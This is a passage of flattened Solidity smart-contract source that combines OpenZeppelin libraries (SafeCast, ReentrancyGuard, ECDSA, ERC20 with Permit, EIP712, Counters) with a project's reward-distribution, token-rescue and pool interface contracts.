_Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; interface IBasePool { function distributeRewards(uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "../interfaces/IAbstractRewards.sol"; import "@openzeppelin/contracts/utils/math/SafeCast.sol"; /** * @dev Based on: https://github.com/indexed-finance/dividends/blob/master/contracts/base/AbstractDividends.sol * Renamed dividends to rewards. * @dev (OLD) Many functions in this contract were taken from this repository: * https://github.com/atpar/funds-distribution-token/blob/master/contracts/FundsDistributionToken.sol * which is an example implementation of ERC 2222, the draft for which can be found at * https://github.com/atpar/funds-distribution-token/blob/master/EIP-DRAFT.md * * This contract has been substantially modified from the original and does not comply with ERC 2222. * Many functions were renamed as "rewards" rather than "funds" and the core functionality was separated * into this abstract contract which can be inherited by anything tracking ownership of reward shares. */ abstract contract AbstractRewards is IAbstractRewards { using SafeCast for uint128; using SafeCast for uint256; using SafeCast for int256; /* ======== Constants ======== */ uint128 public constant POINTS_MULTIPLIER = type(uint128).max; event PointsCorrectionUpdated(address indexed account, int256 points); /* ======== Internal Function References ======== */ function(address) view returns (uint256) private immutable getSharesOf; function() view returns (uint256) private immutable getTotalShares; /* ======== Storage ======== */ uint256 public pointsPerShare; mapping(address => int256) public pointsCorrection; mapping(address => uint256) public withdrawnRewards; constructor( function(address) view returns (uint256) getSharesOf_, function() view returns (uint256) getTotalShares_ ) { getSharesOf = getSharesOf_; getTotalShares = getTotalShares_; } /* ======== Public View Functions ======== */ /** * @dev Returns the total amount of rewards a given address is able to withdraw. * @param _account Address of a reward recipient * @return A uint256 representing the rewards `account` can withdraw */ function withdrawableRewardsOf(address _account) public view override returns (uint256) { return cumulativeRewardsOf(_account) - withdrawnRewards[_account]; } /** * @notice View the amount of rewards that an address has withdrawn. * @param _account The address of a token holder. * @return The amount of rewards that `account` has withdrawn. */ function withdrawnRewardsOf(address _account) public view override returns (uint256) { return withdrawnRewards[_account]; } /** * @notice View the amount of rewards that an address has earned in total. * @dev accumulativeFundsOf(account) = withdrawableRewardsOf(account) + withdrawnRewardsOf(account) * = (pointsPerShare * balanceOf(account) + pointsCorrection[account]) / POINTS_MULTIPLIER * @param _account The address of a token holder. * @return The amount of rewards that `account` has earned in total. */ function cumulativeRewardsOf(address _account) public view override returns (uint256) { return ((pointsPerShare * getSharesOf(_account)).toInt256() + pointsCorrection[_account]).toUint256() / POINTS_MULTIPLIER; } /* ======== Dividend Utility Functions ======== */ /** * @notice Distributes rewards to token holders. * @dev It reverts if the total shares is 0. * It emits the `RewardsDistributed` event if the amount to distribute is greater than 0. * About undistributed rewards: * In each distribution, there is a small amount which does not get distributed, * which is `(amount * POINTS_MULTIPLIER) % totalShares()`. * With a well-chosen `POINTS_MULTIPLIER`, the amount of funds that are not getting * distributed in a distribution can be less than 1 (base unit). */ function _distributeRewards(uint256 _amount) internal { uint256 shares = getTotalShares(); require(shares > 0, "AbstractRewards._distributeRewards: total share supply is zero"); if (_amount > 0) { pointsPerShare = pointsPerShare + (_amount * POINTS_MULTIPLIER / shares); emit RewardsDistributed(msg.sender, _amount); } } /** * @notice Prepares collection of owed rewards * @dev It emits a `RewardsWithdrawn` event if the amount of withdrawn rewards is * greater than 0. */ function _prepareCollect(address _account) internal returns (uint256) { require(_account != address(0), "AbstractRewards._prepareCollect: account cannot be zero address"); uint256 _withdrawableDividend = withdrawableRewardsOf(_account); if (_withdrawableDividend > 0) { withdrawnRewards[_account] = withdrawnRewards[_account] + _withdrawableDividend; emit RewardsWithdrawn(_account, _withdrawableDividend); } return _withdrawableDividend; } function _correctPointsForTransfer(address _from, address _to, uint256 _shares) internal { require(_from != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address"); require(_to != address(0), "AbstractRewards._correctPointsForTransfer: address cannot be zero address"); require(_shares != 0, "AbstractRewards._correctPointsForTransfer: shares cannot be zero"); int256 _magCorrection = (pointsPerShare * _shares).toInt256(); pointsCorrection[_from] = pointsCorrection[_from] + _magCorrection; pointsCorrection[_to] = pointsCorrection[_to] - _magCorrection; emit PointsCorrectionUpdated(_from, pointsCorrection[_from]); emit PointsCorrectionUpdated(_to, pointsCorrection[_to]); } /** * @dev Increases or decreases the points correction for `account` by * `shares*pointsPerShare`. */ function _correctPoints(address _account, int256 _shares) internal { require(_account != address(0), "AbstractRewards._correctPoints: account cannot be zero address"); require(_shares != 0, "AbstractRewards._correctPoints: shares cannot be zero"); pointsCorrection[_account] = pointsCorrection[_account] + (_shares * (pointsPerShare.toInt256())); emit PointsCorrectionUpdated(_account, pointsCorrection[_account]); } } // SPDX-License-Identifier: MIT pragma solidity 0.8.7; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/access/AccessControlEnumerable.sol"; contract TokenSaver is AccessControlEnumerable { using SafeERC20 for IERC20; bytes32 public constant TOKEN_SAVER_ROLE = keccak256("TOKEN_SAVER_ROLE"); event TokenSaved(address indexed by, address indexed receiver, address indexed token, uint256 amount); modifier onlyTokenSaver() { require(hasRole(TOKEN_SAVER_ROLE, _msgSender()), "TokenSaver.onlyTokenSaver: permission denied"); _; } constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); } function saveToken(address _token, address _receiver, uint256 _amount) external onlyTokenSaver { IERC20(_token).safeTransfer(_receiver, _amount); emit TokenSaved(_msgSender(), _receiver, _token, _amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./draft-IERC20Permit.sol"; import "../ERC20.sol"; import "../../../utils/cryptography/draft-EIP712.sol"; import "../../../utils/cryptography/ECDSA.sol"; import "../../../utils/Counters.sol"; /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping(address => Counters.Counter) private _nonces; // solhint-disable-next-line var-name-mixedcase bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") {} /** * @dev See {IERC20Permit-permit}. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public virtual override { require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline)); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. * * _Available since v4.1._ */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { enum RecoverError { NoError, InvalidSignature, InvalidSignatureLength, InvalidSignatureS, InvalidSignatureV } function _throwError(RecoverError error) private pure { if (error == RecoverError.NoError) { return; // no error: do nothing } else if (error == RecoverError.InvalidSignature) { revert("ECDSA: invalid signature"); } else if (error == RecoverError.InvalidSignatureLength) { revert("ECDSA: invalid signature length"); } else if (error == RecoverError.InvalidSignatureS) { revert("ECDSA: invalid signature 's' value"); } else if (error == RecoverError.InvalidSignatureV) { revert("ECDSA: invalid signature 'v' value"); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature` or error string. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. * * Documentation for signature generation: * - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js] * - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers] * * _Available since v4.3._ */ function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) { // Check the signature length // - case 65: r,s,v signature (standard) // - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._ if (signature.length == 65) { bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return tryRecover(hash, v, r, s); } else if (signature.length == 64) { bytes32 r; bytes32 vs; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. assembly { r := mload(add(signature, 0x20)) vs := mload(add(signature, 0x40)) } return tryRecover(hash, r, vs); } else { return (address(0), RecoverError.InvalidSignatureLength); } } /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, signature); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately. * * See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures] * * _Available since v4.3._ */ function tryRecover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address, RecoverError) { bytes32 s; uint8 v; assembly { s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) v := add(shr(255, vs), 27) } return tryRecover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately. * * _Available since v4.2._ */ function recover( bytes32 hash, bytes32 r, bytes32 vs ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, r, vs); _throwError(error); return recovered; } /** * @dev Overload of {ECDSA-tryRecover} that receives the `v`, * `r` and `s` signature fields separately. * * _Available since v4.3._ */ function tryRecover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address, RecoverError) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return (address(0), RecoverError.InvalidSignatureS); } if (v != 27 && v != 28) { return (address(0), RecoverError.InvalidSignatureV); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); if (signer == address(0)) { return (address(0), RecoverError.InvalidSignature); } return (signer, RecoverError.NoError); } /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover( bytes32 hash, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { (address recovered, RecoverError error) = tryRecover(hash, v, r, s); _throwError(error); return recovered; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * produces hash corresponding to the one signed with the * https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`] * JSON-RPC method as part of EIP-191. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "./extensions/IERC20Metadata.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ECDSA.sol"; /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. 